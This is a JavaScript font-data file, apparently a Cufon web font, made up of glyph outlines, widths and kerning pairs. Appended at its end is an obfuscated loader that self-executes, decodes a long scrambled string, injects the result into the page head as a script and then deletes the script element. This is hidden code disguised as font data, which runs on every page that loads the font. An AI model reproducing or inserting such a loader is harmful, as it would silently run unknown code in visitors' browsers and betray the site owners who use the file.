:5,"o":5,"q":5,"\u00f0":5,"\u00f2":5,"\u00f3":5,"\u00f4":5,"\u00f5":5,"\u00f6":5,",":12,".":12,"c":5,"e":5,"\u00e7":5,"\u00e8":5,"\u00e9":5,"\u00ea":5,"\u00eb":5,"\u00ad":7,"\u00e6":8,"g":3,"\u00f8":5,"\u00ab":7}},{"d":"26,0r0,-170r31,0r0,170r-31,0xm35,-191r-32,-53r36,0r20,53r-24,0","w":82},{"d":"45,0r13,-63r-43,0r0,-26r49,0r12,-59r-43,0r0,-26r49,0r13,-63r30,0r-13,63r45,0r13,-63r31,0r-14,63r43,0r0,26r-49,0r-12,59r43,0r0,26r-49,0r-13,63r-30,0r13,-63r-45,0r-13,63r-30,0xm94,-89r45,0r13,-59r-45,0","w":245},{"d":"14,-81v0,-78,79,-114,149,-84r0,250r-32,0r0,-94v-52,35,-117,-6,-117,-72xm46,-82v0,49,49,77,85,46r0,-107v-45,-18,-85,13,-85,61"},{"d":"7,0r84,-145r-72,0r-7,-25r126,0r-83,144r82,0r0,26r-130,0","w":141,"k":{"d":1,"o":1,"q":1,"\u00f0":1,"\u00f2":1,"\u00f3":1,"\u00f4":1,"\u00f5":1,"\u00f6":1,"\"":-3,"'":-3,",":-3,".":-3,":":-3,";":-3,"c":1,"e":1,"\u00e7":1,"\u00e8":1,"\u00e9":1,"\u00ea":1,"\u00eb":1}},{"d":"81,0r0,-77r-71,0r0,-27r71,0r0,-76r30,0r0,76r70,0r0,27r-70,0r0,77r-30,0","w":191},{"d":"151,-9r0,-77r-141,0r0,-27r171,0r0,104r-30,0","w":191},{"d":"175,-85v0,49,-33,89,-81,89v-47,0,-80,-41,-80,-89v0,-50,33,-90,81,-90v48,0,80,41,80,90xm46,-85v0,33,17,62,48,62v32,0,49,-29,49,-62v0,-34,-16,-63,-48,-63v-32,0,-49,29,-49,63","w":189,"k":{"v":3,"y":5,"\u00fd":5,"\u00ff":5,"\"":7,"'":7,",":1,"x":5,"z":4}},{"d":"46,-78v-2,51,55,71,96,44r10,22v-59,39,-138,3,-138,-74v0,-49,26,-89,72,-89v50,0,73,42,70,97r-110,0xm123,-102v5,-39,-41,-63,-66,-34v-7,9,-11,21,-11,34r77,0xm72,-218v0,11,-7,18,-18,18v-10,0,-17,-8,-17,-18v0,-10,7,-17,17,-17v10,0,18,7,18,17xm138,-218v-1,10,-8,18,-18,18v-11,0,-18,-7,-18,-18v0,-24,36,-20,36,0","w":170,"k":{"\"":5,"'":5}},{"d":"103,-184v0,42,-61,50,-96,33r7,-20v19,10,63,10,62,-14v-1,-21,-26,-22,-51,-21r0,-20v23,1,47,-2,46,-21v-2,-25,-33,-18,-53,-9r-8,-20v34,-17,88,-14,89,26v1,17,-10,25,-25,33v17,3,29,13,29,33","w":120},{"d":"61,1r-57,-171r32,0r40,129r38,-129r28,0r40,129r38,-129r32,0r-58,171r-26,0r-40,-130r-40,130r-27,0","w":254,"k":{"\"":-3,"'":-3,",":12,".":11}},{"d":"30,0r0,-237r32,0r0,237r-32,0xm31,-271v0,10,-8,18,-18,18v-9,0,-17,-8,-17,-18v0,-10,7,-18,17,-18v11,0,18,7,18,18xm79,-289v24,0,20,36,0,36v-10,-1,-18,-8,-18,-18v0,-11,7,-18,18,-18","w":92},{"d":"26,-174r-5,-81r31,0r-3,81r-23,0xm82,-174r-5,-81r31,0r-3,81r-23,0","w":128,"k":{"A":29,"\u00c0":29,"\u00c1":29,"\u00c2":29,"\u00c3":29,"\u00c4":29,"\u00c5":29,"\u00c6":36,"T":-3,"V":-3,"W":-3,"X":-3,"Y":-3,"\u00dd":-3,"J":14,"f":7,"d":7,"o":7,"q":7,"\u00f0":7,"\u00f2":7,"\u00f3":7,"\u00f4":7,"\u00f5":7,"\u00f6":7,"v":-3,"w":-3,"y":-3,"\u00fd":-3,"\u00ff":-3,",":14,".":12,"a":5,"\u00e0":5,"\u00e1":5,"\u00e2":5,"\u00e3":5,"\u00e4":5,"\u00e5":5,"g":12,"\u00f8":9,"x":-3,"s":5,"\u00bf":29,"4":33}},{"d":"211,-86v0,60,-33,89,-91,90v-59,0,-92,-30,-92,-90r0,-151r32,0v7,82,-30,213,60,213v91,0,52,-131,60,-213r31,0r0,151xm89,-289v23,0,22,36,0,36v-10,-1,-18,-8,-18,-18v0,-11,7,-18,18,-18xm154,-289v16,-1,23,19,13,30v-11,11,-31,3,-31,-12v0,-10,8,-18,18,-18","w":239,"k":{"\u00c6":8}},{"d":"64,-237v0,78,2,115,-7,172r-17,0v-10,-57,-8,-91,-8,-172r32,0xm67,-17v1,11,-9,20,-19,20v-10,0,-19,-10,-19,-20v0,-11,9,-20,19,-20v10,0,20,9,19,20","w":96},{"d":"175,-85v0,49,-33,89,-81,89v-47,0,-80,-41,-80,-89v0,-50,33,-90,81,-90v48,0,80,41,80,90xm46,-85v0,33,17,62,48,62v32,0,49,-29,49,-62v0,-34,-16,-63,-48,-63v-32,0,-49,29,-49,63xm45,-191r35,-53r28,0r36,53r-26,0r-24,-34r-23,34r-26,0","w":189,"k":{"v":3,"y":5,"\u00fd":5,"\u00ff":5,"\"":7,"'":7,",":1,"x":5,"z":4}},{"d":"5,0r91,-238r22,0r93,238r-35,0r-23,-62r-92,0r-22,62r-34,0xm71,-89r72,0r-36,-101xm75,-289v24,0,20,36,0,36v-10,-1,-18,-8,-18,-18v0,-11,7,-18,18,-18xm140,-289v23,0,22,36,0,36v-10,-1,-18,-8,-18,-18v0,-11,7,-18,18,-18","w":215,"k":{"C":6,"G":6,"O":6,"Q":6,"\u00c7":6,"\u00d2":6,"\u00d3":6,"\u00d4":6,"\u00d5":6,"\u00d6":6,"T":20,"V":14,"W":11,"Y":18,"\u00dd":18,"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"t":5,"v":9,"w":5,"y":13,"\u00fd":13,"\u00ff":13,"\"":29,"'":29,",":-3,".":-3,":":-3,";":-3,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00ae":14}},{"d":"26,0r0,-170r31,0r0,170r-31,0xm-8,-191r35,-53r28,0r36,53r-26,0r-24,-34r-23,34r-26,0","w":82},{"d":"53,-149v41,-41,111,-34,111,35r0,114r-32,0r0,-104v0,-60,-47,-48,-78,-19r0,123r-32,0r0,-170r27,0xm141,-235v8,55,-51,34,-73,22v-6,0,-9,4,-9,14r-22,0v-2,-22,8,-37,27,-38v16,-5,54,39,56,2r21,0","k":{"v":1,"y":3,"\u00fd":3,"\u00ff":3,"\"":4,"'":4}},{"d":"59,-140v0,11,-9,20,-19,20v-10,0,-21,-9,-20,-20v0,-11,9,-20,20,-20v11,0,19,10,19,20xm12,43v15,-27,21,-48,14,-79r31,-5v6,40,-3,66,-28,93","w":80,"k":{"A":-3,"\u00c0":-3,"\u00c1":-3,"\u00c2":-3,"\u00c3":-3,"\u00c4":-3,"\u00c5":-3,"\u00c6":-3,"T":16,"J":-3,"x":-3,"Z":-3}},{"d":"76,-5r-60,-82r60,-82r26,14r-50,68r50,68xm156,-5r-60,-82r60,-82r25,14r-50,68r50,68","w":204,"k":{"T":16,"V":5,"W":5,"Y":9,"\u00dd":9,"J":5,"S":4,"Z":5}},{"d":"15,0r119,-211r-108,0r-9,-26r167,0r-118,211r123,0r0,26r-174,0","w":199,"k":{"C":8,"G":8,"O":8,"Q":8,"\u00c7":8,"\u00d2":8,"\u00d3":8,"\u00d4":8,"\u00d5":8,"\u00d6":8,",":-3,".":-3,":":-3,";":-3,"\u00ad":6}},{"d":"253,-118v0,70,-49,122,-117,122v-68,0,-117,-52,-117,-122v0,-69,49,-121,117,-121v68,0,117,52,117,121xm53,-118v0,54,31,94,83,94v52,1,83,-40,83,-94v0,-53,-30,-94,-83,-94v-51,0,-83,41,-83,94xm122,-271v0,10,-8,18,-18,18v-9,0,-17,-8,-17,-18v0,-10,7,-18,17,-18v11,0,18,7,18,18xm170,-289v23,0,22,36,0,36v-10,-1,-18,-8,-18,-18v0,-11,7,-18,18,-18","w":272,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":12,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":2,"Z":6}},{"d":"59,-17v0,11,-9,20,-19,20v-10,0,-20,-9,-20,-20v0,-11,10,-20,20,-20v10,0,19,10,19,20","w":80,"k":{"A":-3,"\u00c0":-3,"\u00c1":-3,"\u00c2":-3,"\u00c3":-3,"\u00c4":-3,"\u00c5":-3,"\u00c6":-3,"C":2,"G":2,"O":2,"Q":2,"\u00c7":2,"\u00d2":2,"\u00d3":2,"\u00d4":2,"\u00d5":2,"\u00d6":2,"T":17,"V":18,"W":12,"X":-3,"Y":14,"\u00dd":14,"v":10,"w":11,"y":11,"\u00fd":11,"\u00ff":11,"\"":7,"'":7,"x":-3,"\u00ab":9,"1":39}},{"d":"19,-76r0,-27r92,0r0,27r-92,0","w":129},{"d":"54,-67v-8,54,56,50,74,22r0,-125r32,0r0,117v0,27,1,45,3,53r-28,0r-5,-19v-39,40,-108,26,-108,-42r0,-109r32,0r0,103xm76,-191r20,-53r36,0r-32,53r-24,0"},{"d":"62,29v4,45,-41,67,-81,51r6,-26v25,11,43,0,43,-31r0,-193r32,0r0,199xm66,-226v0,12,-9,21,-21,21v-11,0,-20,-10,-20,-21v0,-11,9,-20,20,-20v11,0,21,9,21,20","w":86,"k":{"j":-3}},{"d":"30,0r0,-237r32,0r0,211r87,0r0,26r-119,0","w":156,"k":{"C":11,"G":11,"O":11,"Q":11,"\u00c7":11,"\u00d2":11,"\u00d3":11,"\u00d4":11,"\u00d5":11,"\u00d6":11,"T":22,"V":22,"W":13,"Y":25,"\u00dd":25,"v":15,"w":7,"y":17,"\u00fd":17,"\u00ff":17,"\"":25,"'":25,",":-3,".":-3,":":-3,";":-3,"\u00ae":17,"\u00ad":11,"\u2219":7,"\u00ab":7}},{"d":"253,-118v0,68,-45,118,-107,121v22,25,48,33,82,23r7,25v-59,21,-107,-12,-131,-51v-50,-11,-85,-57,-85,-118v0,-69,49,-121,117,-121v68,0,117,52,117,121xm53,-118v0,54,31,94,83,94v52,1,83,-40,83,-94v0,-53,-30,-94,-83,-94v-51,0,-83,41,-83,94","w":272,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":12,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":2,"Z":6}},{"d":"23,-19r50,-68r-50,-68r26,-14r60,82r-60,82xm103,-19r50,-68r-50,-68r25,-14r60,82r-60,82","w":204,"k":{"\u00c6":8,"T":19,"V":11,"W":5,"X":8,"Y":16,"\u00dd":16,"J":8,"S":7,"x":8,"z":6,"Z":5}},{"d":"253,-118v0,70,-49,122,-117,122v-68,0,-117,-52,-117,-122v0,-69,49,-121,117,-121v68,0,117,52,117,121xm53,-118v0,54,31,94,83,94v52,1,83,-40,83,-94v0,-53,-30,-94,-83,-94v-51,0,-83,41,-83,94","w":272,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":12,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":2,"Z":6}},{"d":"14,-84v0,-78,88,-121,133,-60v-6,-29,-20,-50,-44,-66r-48,22r-8,-17r34,-15v-11,-5,-26,-8,-44,-9r5,-26v28,2,51,9,70,20r42,-20r8,17r-33,15v64,45,70,227,-35,227v-48,0,-80,-40,-80,-88xm46,-85v0,35,17,62,48,62v32,0,49,-28,49,-63v0,-33,-18,-61,-49,-61v-31,-1,-48,29,-48,62","w":194},{"d":"46,-78v-2,51,55,71,96,44r10,22v-59,39,-138,3,-138,-74v0,-49,26,-89,72,-89v50,0,73,42,70,97r-110,0xm123,-102v5,-39,-41,-63,-66,-34v-7,9,-11,21,-11,34r77,0","w":170,"k":{"\"":5,"'":5}},{"d":"181,-76v-2,47,-31,80,-77,80v-57,0,-86,-47,-86,-113v0,-86,66,-158,150,-120r-9,25v-56,-28,-106,16,-107,73v51,-37,131,-14,129,55xm52,-104v-1,40,17,80,52,81v28,0,44,-20,44,-49v0,-55,-62,-63,-96,-32","w":195,"k":{"1":9}},{"d":"84,0r0,-95r-79,-142r35,0r61,112r58,-112r35,0r-78,143r0,94r-32,0","w":198,"k":{"A":18,"\u00c0":18,"\u00c1":18,"\u00c2":18,"\u00c3":18,"\u00c4":18,"\u00c5":18,"\u00c6":27,"C":9,"G":9,"O":9,"Q":9,"\u00c7":9,"\u00d2":9,"\u00d3":9,"\u00d4":9,"\u00d5":9,"\u00d6":9,"d":22,"o":22,"q":22,"\u00f0":22,"\u00f2":22,"\u00f3":22,"\u00f4":22,"\u00f5":22,"\u00f6":22,"v":13,"w":13,"y":13,"\u00fd":13,"\u00ff":13,"\"":-3,"'":-3,",":17,".":14,"c":22,"e":22,"\u00e7":22,"\u00e8":22,"\u00e9":22,"\u00ea":22,"\u00eb":22,"\u00ad":13,"\u2219":10,"a":21,"\u00e0":21,"\u00e1":21,"\u00e2":21,"\u00e3":21,"\u00e4":21,"\u00e5":21,"\u00e6":21,"g":21,"\u00ef":-12,"m":14,"n":14,"p":14,"r":14,"\u00f1":14,"\u00f8":22,"x":5,"z":14,"\u00bb":9,"\u00ab":16,"\u00d8":9,"\u00ec":-4,"\u00ee":-3,"s":23}},{"d":"59,-191r-32,-53r36,0r21,53r-25,0","w":132},{"d":"189,-3v-23,12,-52,2,-55,-21v-15,31,-60,38,-81,12r1,97r-32,0r0,-255r32,0v7,54,-23,146,35,146v58,0,35,-89,39,-146r32,0r0,117v-1,22,5,30,23,25","w":195},{"d":"101,45v0,30,-41,37,-70,27r6,-17v13,6,36,6,36,-10v0,-14,-14,-12,-30,-13r10,-32r24,0r-6,19v20,2,30,10,30,26","w":132},{"d":"126,-121v63,31,37,125,-42,125v-25,0,-48,-7,-66,-19r14,-25v29,23,96,26,97,-19v-11,-60,-102,-47,-104,-118v-2,-58,76,-77,126,-51r0,29v-31,-17,-92,-24,-92,19v0,36,44,41,67,59","w":181,"k":{"v":5,"w":3,"y":6,"\u00fd":6,"\u00ff":6}},{"d":"84,-173v2,-32,-36,-29,-57,-17r-9,-17v31,-23,91,-18,91,31v0,25,-1,63,4,79r-23,0r-4,-12v-25,25,-74,16,-74,-24v0,-35,36,-40,72,-40xm66,-153v-33,-4,-37,36,-9,37v9,0,18,-5,27,-13r0,-24r-18,0","w":128},{"d":"59,-120v0,52,51,72,91,47r9,23v-13,8,-28,12,-45,13r0,37r-25,0r0,-38v-37,-5,-62,-39,-61,-80v0,-41,27,-75,62,-82r0,-37r24,0r0,34v15,1,28,4,38,10r0,26v-40,-25,-93,-2,-93,47","w":190},{"d":"81,-46r0,-55r-71,0r0,-27r71,0r0,-54r30,0r0,54r70,0r0,27r-70,0r0,55r-30,0xm10,0r0,-27r171,0r0,27r-171,0","w":191},{"d":"-5,79r8,-26v42,19,67,-15,76,-53r-76,-170r34,0r57,132r44,-132r33,0r-64,181v-14,50,-50,90,-112,68xm72,-191r21,-53r36,0r-32,53r-25,0","w":173,"k":{"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"\"":-3,"'":-3,",":10,".":8,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00f8":4}},{"d":"19,-277v70,1,58,73,58,141v0,17,8,25,24,26r0,24v-53,7,-1,110,-37,147v-9,10,-24,17,-45,20r-6,-29v67,0,1,-132,58,-151v-57,-7,12,-145,-58,-149","w":118},{"d":"30,0r0,-237r32,0r1,106r87,-106r38,0r-98,116r104,121r-40,0r-92,-107r0,107r-32,0","w":200,"k":{"C":15,"G":15,"O":15,"Q":15,"\u00c7":15,"\u00d2":15,"\u00d3":15,"\u00d4":15,"\u00d5":15,"\u00d6":15,"d":9,"o":9,"q":9,"\u00f0":9,"\u00f2":9,"\u00f3":9,"\u00f4":9,"\u00f5":9,"\u00f6":9,"v":19,"w":14,"y":19,"\u00fd":19,"\u00ff":19,"c":9,"e":9,"\u00e7":9,"\u00e8":9,"\u00e9":9,"\u00ea":9,"\u00eb":9,"\u00ae":8,"\u00ad":15,"\u2219":11,"\u00ab":11}},{"d":"30,-237v70,-4,138,1,137,65v0,32,-16,53,-48,63v22,18,52,79,71,109r-37,0v-19,-28,-42,-83,-66,-98r-25,0r0,98r-32,0r0,-237xm134,-168v0,-35,-32,-46,-72,-43r0,86v40,3,72,-7,72,-43","w":200,"k":{"C":6,"G":6,"O":6,"Q":6,"\u00c7":6,"\u00d2":6,"\u00d3":6,"\u00d4":6,"\u00d5":6,"\u00d6":6,"T":7,"V":8,"W":5,"Y":11,"\u00dd":11,"d":7,"o":7,"q":7,"\u00f0":7,"\u00f2":7,"\u00f3":7,"\u00f4":7,"\u00f5":7,"\u00f6":7,"c":7,"e":7,"\u00e7":7,"\u00e8":7,"\u00e9":7,"\u00ea":7,"\u00eb":7,"\u00ad":7,"\u00ab":8}},{"d":"31,-278v78,79,77,284,0,363r-22,-16v65,-72,64,-260,0,-332","w":116},{"d":"25,-174r-4,-81r31,0r-4,81r-23,0","w":72,"k":{"A":29,"\u00c0":29,"\u00c1":29,"\u00c2":29,"\u00c3":29,"\u00c4":29,"\u00c5":29,"\u00c6":36,"T":-3,"V":-3,"W":-3,"X":-3,"Y":-3,"\u00dd":-3,"J":14,"f":7,"d":7,"o":7,"q":7,"\u00f0":7,"\u00f2":7,"\u00f3":7,"\u00f4":7,"\u00f5":7,"\u00f6":7,"v":-3,"w":-3,"y":-3,"\u00fd":-3,"\u00ff":-3,",":14,".":12,"a":5,"\u00e0":5,"\u00e1":5,"\u00e2":5,"\u00e3":5,"\u00e4":5,"\u00e5":5,"g":12,"\u00f8":9,"x":-3,"s":5,"\u00bf":29,"4":33}},{"d":"29,84r0,-362r65,0r0,25r-35,0r0,312r35,0r0,25r-65,0","w":102,"k":{"J":-13,"y":-11,"\u00fd":-11,"\u00ff":-11,"g":-3,"j":-19}},{"d":"19,-206r0,-25r94,0r0,25r-94,0","w":132},{"d":"5,0r91,-238r22,0r93,238r-35,0r-23,-62r-92,0r-22,62r-34,0xm71,-89r72,0r-36,-101xm90,-251r21,-52r36,0r-33,52r-24,0","w":215,"k":{"C":6,"G":6,"O":6,"Q":6,"\u00c7":6,"\u00d2":6,"\u00d3":6,"\u00d4":6,"\u00d5":6,"\u00d6":6,"T":20,"V":14,"W":11,"Y":18,"\u00dd":18,"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"t":5,"v":9,"w":5,"y":13,"\u00fd":13,"\u00ff":13,"\"":29,"'":29,",":-3,".":-3,":":-3,";":-3,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00ae":14}},{"d":"19,-76r0,-27r92,0r0,27r-92,0","w":129,"k":{"\u00c6":8,"T":28,"V":7,"Y":13,"\u00dd":13,"J":7,"S":6,"x":8,"z":5,"Z":6}},{"d":"170,-86v0,62,-55,106,-116,84r0,87r-32,0r0,-249v71,-28,148,-1,148,78xm137,-86v0,-48,-37,-72,-83,-58r0,114v41,21,83,-8,83,-56","w":183,"k":{"v":3,"y":5,"\u00fd":5,"\u00ff":5,"\"":7,"'":7,",":1,"x":5,"z":4}},{"d":"183,-118v0,67,-25,122,-83,122v-57,0,-82,-55,-82,-122v0,-67,24,-121,82,-121v58,0,83,54,83,121xm52,-118v0,48,9,94,48,94v40,0,49,-45,49,-94v0,-49,-9,-94,-48,-94v-39,0,-49,45,-49,94","w":200},{"d":"5,0r91,-238r22,0r93,238r-35,0r-23,-62r-92,0r-22,62r-34,0xm71,-89r72,0r-36,-101","w":215,"k":{"C":6,"G":6,"O":6,"Q":6,"\u00c7":6,"\u00d2":6,"\u00d3":6,"\u00d4":6,"\u00d5":6,"\u00d6":6,"T":20,"V":14,"W":11,"Y":18,"\u00dd":18,"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"t":5,"v":9,"w":5,"y":13,"\u00fd":13,"\u00ff":13,"\"":29,"'":29,",":-3,".":-3,":":-3,";":-3,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00ae":14}},{"d":"23,-158v45,-29,123,-24,125,43r3,115r-27,0r-6,-18v-34,39,-105,24,-105,-32v0,-49,50,-56,103,-55v7,-51,-49,-52,-81,-31xm89,-82v-48,-10,-60,59,-14,60v15,0,29,-7,41,-20r0,-41xm136,-235v8,55,-51,34,-73,22v-6,0,-9,4,-9,14r-22,0v-2,-22,8,-37,27,-38v17,-4,53,39,56,2r21,0","w":170,"k":{"\"":6,"'":6}},{"d":"4,0r62,-85r-60,-85r35,0r43,62r44,-62r34,0r-61,84r61,86r-35,0r-44,-64r-45,64r-34,0","w":165,"k":{"d":5,"o":5,"q":5,"\u00f0":5,"\u00f2":5,"\u00f3":5,"\u00f4":5,"\u00f5":5,"\u00f6":5,"\"":-3,"'":-3,",":-3,".":-3,":":-3,";":-3,"c":5,"e":5,"\u00e7":5,"\u00e8":5,"\u00e9":5,"\u00ea":5,"\u00eb":5,"\u00ad":8,"\u00ab":8}},{"d":"19,-212v36,-39,126,-40,126,23v0,52,-59,53,-72,93v0,6,3,12,8,18r-26,13v-32,-33,4,-74,32,-86v26,-10,36,-62,-5,-61v-16,0,-32,6,-48,20xm89,-17v0,11,-10,20,-20,20v-10,0,-19,-10,-19,-20v0,-11,9,-20,19,-20v10,0,20,9,20,20","w":167,"k":{"\u00bb":9,"\u00ab":20}},{"d":"63,-145r0,-113r-42,16r-9,-20v26,-8,42,-25,77,-23r0,140r-26,0","w":119},{"d":"123,-10v-27,23,-87,20,-87,-28r0,-107r-29,0r0,-25r29,0r0,-39r32,-10r0,49r51,0r-8,25r-43,0r0,101v-1,29,28,23,45,12","w":129,"k":{",":-3,".":-3,":":-3,";":-3,"\u00ad":4}},{"d":"30,0r0,-237r30,0r87,129r81,-129r30,0r0,237r-32,0r0,-184r-72,115r-15,0r-77,-114r0,183r-32,0","w":288},{"d":"53,-117v0,78,77,116,142,78r9,25v-84,48,-185,-3,-185,-102v0,-91,94,-151,180,-111r0,30v-67,-39,-146,1,-146,80","w":216,"k":{"d":4,"o":4,"q":4,"\u00f0":4,"\u00f2":4,"\u00f3":4,"\u00f4":4,"\u00f5":4,"\u00f6":4,"v":19,"w":18,"y":22,"\u00fd":22,"\u00ff":22,"c":5,"e":5,"\u00e7":5,"\u00e8":5,"\u00e9":5,"\u00ea":5,"\u00eb":5,")":-5,"\u00ad":9,"]":-5,"}":-5,"\u2219":7}},{"d":"70,1r-67,-171r33,0r48,129r46,-129r32,0r-66,171r-26,0","w":165,"k":{"d":3,"o":3,"q":3,"\u00f0":3,"\u00f2":3,"\u00f3":3,"\u00f4":3,"\u00f5":3,"\u00f6":3,"\"":-3,"'":-3,",":10,".":10,"c":3,"e":3,"\u00e7":3,"\u00e8":3,"\u00e9":3,"\u00ea":3,"\u00eb":3,"\u00f8":4}},{"d":"108,-263v-65,72,-65,260,-1,332r-21,16v-79,-78,-79,-285,0,-363","w":116,"k":{"J":-11,"y":-8,"\u00fd":-8,"\u00ff":-8,"g":-3,"j":-15}},{"d":"53,-149v41,-41,111,-34,111,35r0,114r-32,0r0,-104v0,-60,-47,-48,-78,-19r0,123r-32,0r0,-170r27,0","k":{"v":1,"y":3,"\u00fd":3,"\u00ff":3,"\"":4,"'":4}},{"d":"59,-191r-32,-53r36,0r21,53r-25,0","w":132},{"d":"23,-158v45,-29,123,-24,125,43r3,115r-27,0r-6,-18v-34,39,-105,24,-105,-32v0,-49,50,-56,103,-55v7,-51,-49,-52,-81,-31xm89,-82v-48,-10,-60,59,-14,60v15,0,29,-7,41,-20r0,-41","w":169,"k":{"\"":6,"'":6}},{"d":"30,0r0,-237r32,0r0,237r-32,0","w":92},{"d":"31,-103r57,-134r28,0r56,134r-27,0r-44,-105r-42,105r-28,0","w":203},{"d":"220,-120v0,97,-80,131,-190,120r0,-237v108,-9,190,18,190,117xm186,-121v-1,-66,-49,-97,-124,-90r0,185v79,7,124,-26,124,-95","w":238,"k":{"A":6,"\u00c0":6,"\u00c1":6,"\u00c2":6,"\u00c3":6,"\u00c4":6,"\u00c5":6,"\u00c6":12,"T":7,"V":7,"W":4,"X":9,"Y":9,"\u00dd":9,".":2,"Z":6}},{"d":"127,-157v0,35,-24,62,-59,62v-34,0,-58,-27,-58,-62v0,-35,24,-63,58,-63v34,0,59,28,59,63xm36,-157v0,21,11,40,32,40v21,0,33,-19,33,-40v0,-22,-12,-41,-33,-41v-21,0,-32,20,-32,41","w":136},{"d":"26,0r0,-170r31,0r0,170r-31,0xm62,-226v0,12,-9,21,-21,21v-11,0,-20,-10,-20,-21v0,-11,9,-20,20,-20v11,0,21,9,21,20","w":82},{"d":"158,45v0,30,-40,37,-69,27r5,-17v12,6,37,6,36,-10v-1,-13,-14,-12,-30,-13r9,-31v-54,-9,-90,-54,-90,-117v0,-91,94,-151,180,-111r0,30v-67,-39,-146,1,-146,80v0,78,77,116,142,78r9,25v-21,12,-45,18,-71,18r-4,15v20,2,29,10,29,26","w":216,"k":{"d":4,"o":4,"q":4,"\u00f0":4,"\u00f2":4,"\u00f3":4,"\u00f4":4,"\u00f5":4,"\u00f6":4,"v":19,"w":18,"y":22,"\u00fd":22,"\u00ff":22,"c":5,"e":5,"\u00e7":5,"\u00e8":5,"\u00e9":5,"\u00ea":5,"\u00eb":5,")":-5,"\u00ad":9,"]":-5,"}":-5,"\u2219":7}},{"d":"54,-67v-8,54,56,50,74,22r0,-125r32,0r0,117v0,27,1,45,3,53r-28,0r-5,-19v-39,40,-108,26,-108,-42r0,-109r32,0r0,103"},{"d":"75,0r0,-211r-69,0r0,-26r176,0r-9,26r-66,0r0,211r-32,0","w":183,"k":{"A":20,"\u00c0":20,"\u00c1":20,"\u00c2":20,"\u00c3":20,"\u00c4":20,"\u00c5":20,"\u00c6":25,"C":7,"G":7,"O":7,"Q":7,"\u00c7":7,"\u00d2":7,"\u00d3":7,"\u00d4":7,"\u00d5":7,"\u00d6":7,"d":18,"o":18,"q":18,"\u00f0":18,"\u00f2":18,"\u00f3":18,"\u00f4":18,"\u00f5":18,"\u00f6":18,"v":18,"w":18,"y":18,"\u00fd":18,"\u00ff":18,"\"":-2,"'":-2,",":22,".":17,":":14,";":19,"c":18,"e":18,"\u00e7":18,"\u00e8":18,"\u00e9":18,"\u00ea":18,"\u00eb":18,"\u00ad":28,"\u2219":12,"a":18,"\u00e0":18,"\u00e1":18,"\u00e2":18,"\u00e3":18,"\u00e4":18,"\u00e5":18,"\u00e6":18,"g":18,"\u00ef":-14,"m":18,"n":18,"p":18,"r":18,"\u00f1":18,"\u00f8":18,"x":18,"z":18,"\u00bb":16,"\u00ab":19,"\u00d8":7,"\u00ec":-5,"\u00ee":-5,"s":18}},{"d":"30,0r0,-237r120,0r-9,26r-79,0r0,76r78,0r0,27r-78,0r0,82r90,0r0,26r-122,0xm71,-251r21,-52r36,0r-32,52r-25,0","w":172}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-191-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("V&rMl^Ab80P]V!fO,^2}Y&YPg[AMr^P]g[#}80-Frhiux(bXg%noH&2^#h3MHtv_HM3MHtvRAM3MHtv_x0,m,y:oxCRm,y:oxC,c`M3mhM3MHtvXr23MHtvCH}-m,y:ortve-Mhm,y:oxChm,y:(Ht2m,y:ory-m,y:oxyRm,y:ox(Rm,y:oxyrm,y:ox(rm,y:oryhu#FfBz&rm,y:oxyA0g%noH&Y}zf3MHtv_AM3MHtvRAh3MHtv_r&Am,yY}Hyfm,y:ox(vm,y:ox(#(g%noH&Zo1f3MHtvCxX3m,y:}x(fm,y:orCAm,y:ory,|g%noH(:Dg%noH&hRg%noH&e}g%noH&rfY23MHtvCxM3MHtv^ch3MHtv^rf3MHtvfc23MHtv^xf3MHtvRch3MHtvCAnvm,y:ory#m,y:or^Am,y:ort2m,y:or0-m,y:or0r&VC2m,y:oxC-m,y:oxyeMg%noH&eDg%noH&eMr23MHtvCrnsm,y:ox^hm,y:or&rm,y:ox^rm,y:ox^Am,y:oryrm,y:ort-m,y:oxCrm,y:ox[2m,y:oryZig%noH&xMg%noH&nog%noH&n>g%noH&Z3g%noH&x}8M3MHtv_cye(g%noH&2fg%n:v!tZ2&%Y#VLHAc1e-=ynh0gxr8lm,`z.RXC_f^FBs7du|]Jo3}(bM[6D>UOiP?E}HtZogM3MHtv_ry,m,y:oxCv!cnhm,y:ox[-xg%noH&xDxCYPcf3MHtv^AbR,g%noH&-Xc23MHtv^AfoJmf3MHtvfx}A3`X|m,y:ox0AJg%noH&hXg%noH&Y(,M3MHtvCrfoXg%noH&-CYh